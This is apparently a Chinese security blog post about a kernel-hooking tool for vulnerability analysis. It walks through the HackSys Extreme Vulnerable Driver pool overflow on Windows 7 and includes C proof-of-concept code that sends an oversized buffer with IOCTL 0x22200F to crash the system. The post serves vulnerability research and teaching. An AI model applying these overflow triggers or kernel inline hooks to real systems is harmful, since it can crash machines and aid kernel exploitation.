内核漏洞辅助分析工具

0x00  IopfCompleteRequest 函数hook
   
    1.获取nt模块的加载基址,加上固定的rva,IopfCompleteRequest函数的前5个字节opcode
 行inline hook





 2.MyIopfCompleteRequest处理主要是判断IoControlCode是不是目标的IoControlCode,如果是的话则过滤需要的信息(目  标IoControlCode(g_IoCode),返回地址(retAddr),目标驱动的加载基址(BugSysBase),返回地址RVA(retAddr Rva))
  

  


0x01 IRP处理函数 hook

   1.通过ring3层传进来的IRP处理函数rva,进行inline hook
   


 2.MyIrpFun主要处理:设置了int3断点,方便调试; 过滤从ring3层传进来的buffersize信息,在过滤函数中恢复回原来的指令,再执行回原本的IRP处  理函数.
            


   


 2.1 在执行回原来的IRP处理函数之前,通过修改返回地址为挂钩函数的地址(retHookA),当原来的IRP处理函数处理完后,返回时将跳到retHookA函数重新挂钩

       

   



0x02 实战-HackSysTeam项目池溢出
   
   1.漏洞分析时,一般都能获取到poc(这里我写了个poc,未溢出的;溢出产生BSOD后打印不了信息;实际分析时,可以改下poc代码,先确定IRP处理函数后)
      int main()
{
DWORD retLen;
CHAR inputbuff[0x90] = { 0 };
DWORD intputLen;
HANDLE hDevice = CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, 0, 0, OPEN_EXISTING, 0, 0);

if (hDevice == INVALID_HANDLE_VALUE)
{
return -1;
}
else
{
printf("Open ok\n");
}

//初始化数据
memset(inputbuff, 0x41, 0x90);
intputLen = sizeof(inputbuff);


DeviceIoControl(hDevice, 0x22200F, inputbuff, intputLen, 0, 0, &retLen, 0);
system("pause");
}

  2.通过poc,可以知道IO控制码为22200F,通过监控目标控制码,寻找目标驱动的IRP处理函数.
     KernelBugTest.sys加载到内核中,KernelBugRing3.exe与驱动进行通讯

    


 2.1 主要关注retAddr Rva打印出来的信息,这是通过ida 基址+rva锁定到目标驱动的IRP处理函数
         

   

  3.触发BSODpoc
   int main()
{
DWORD retLen;
CHAR inputbuff[0x200] = { 0 };
DWORD intputLen;
HANDLE hDevice = CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, 0, 0, OPEN_EXISTING, 0, 0);

if (hDevice == INVALID_HANDLE_VALUE)
{
return -1;
}
else
{
printf("Open ok\n");
}

//初始化数据
memset(inputbuff, 0x41, 0x200);
intputLen = sizeof(inputbuff);

DeviceIoControl(hDevice, 0x22200F, inputbuff, intputLen, 0, 0, &retLen, 0);

printf("BSOD!");
system("pause");
}

   
  4.IRP处理函数进行hook,运行崩溃的poc,将断到windbg,这时单步调,跟着数据的流向还有结合ida的静态分析,很快知道分配的非分页内存大小为0x1f8,memcpy拷贝的size是从ring3层传进来的,最终导致池溢出
  

  

  
  

  存在的问题:
 1.多线程可能导致打印数据的信息不准确
 2.触发bsod,不能寻找IRP处理函数

 这些问题将在以后的更新其他功能解决掉


(平台:Windows7  x86)

评论

此博客中的热门博文

Opencart-v3-0-3-0 user changes password at csrf vulnerability

Charles 4.2.7 XML External Entity

Docker's latest version of privilege escalation vulnerability